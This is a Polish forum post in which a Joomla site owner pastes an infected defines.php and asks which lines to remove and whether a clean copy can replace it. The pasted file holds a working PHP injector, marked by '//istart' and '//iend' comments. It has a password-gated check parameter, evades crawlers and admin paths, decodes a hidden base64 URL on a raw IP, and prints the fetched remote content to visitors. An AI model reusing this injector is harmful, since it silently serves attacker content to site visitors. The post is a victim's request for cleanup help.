Zainfekowany plik defines.php
Witam, mam poważny problem okazało się że na serwerze wykryto zainfekowany pliki jest to # Known exploit = [Fingerprint Match] [PHP DarkLeech Exploit [P0990]], zainfekowany plik to defines.php tak oto wygląda:
<?php
/**
* @package Joomla.Site
*
* @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);
// Defines.
define('JPATH_ROOT', implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE', JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES', JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS', JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES', JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE', JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
//istart
function request_url_data($url) {
$site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
'Referer: ' . $site_url,
));
$response = trim(curl_exec($ch));
} elseif (function_exists('fsockopen')) {
$m = parse_url($url);
if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
'Host: ' . $m['host'] . "\r\n" .
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
'Referer: ' . $site_url . "\r\n" .
'Connection: Close' . "\r\n\r\n");
$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
}
list($headers, $response) = explode("\r\n\r\n", $response);
fclose($fp);
}
} else {
$response = 'curl_init and fsockopen disabled';
}
return $response;
}
error_reporting(0);
$_passssword = "66054f0f1b415d2f97de3d279ac81a24";
if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
echo('<!--checker_start ');
$tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
echo(substr($tmp, 50));
echo(' checker_end-->');
}
unset($_passssword);
$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
$bad_url = true;
break;
}
}
$cookie_name = '_PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
$url = base64_decode("aHR0cDovLzQ2LjMwLjQ2LjE0Mi9ibG9nLz9 raXJndWR1JnV0bV9zb3VyY2U9MTI2OTc6MjE3MDg1OjM2MA==" );
$code = request_url_data($url);
// if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
$echo_done = true;
print $decoded;
}
}//iend
którą linie kodu wywalić żeby było ok? I czy można ten plik wgrać inny (tzn. z innej joomli nie zainfekowanej)?
Cytuj
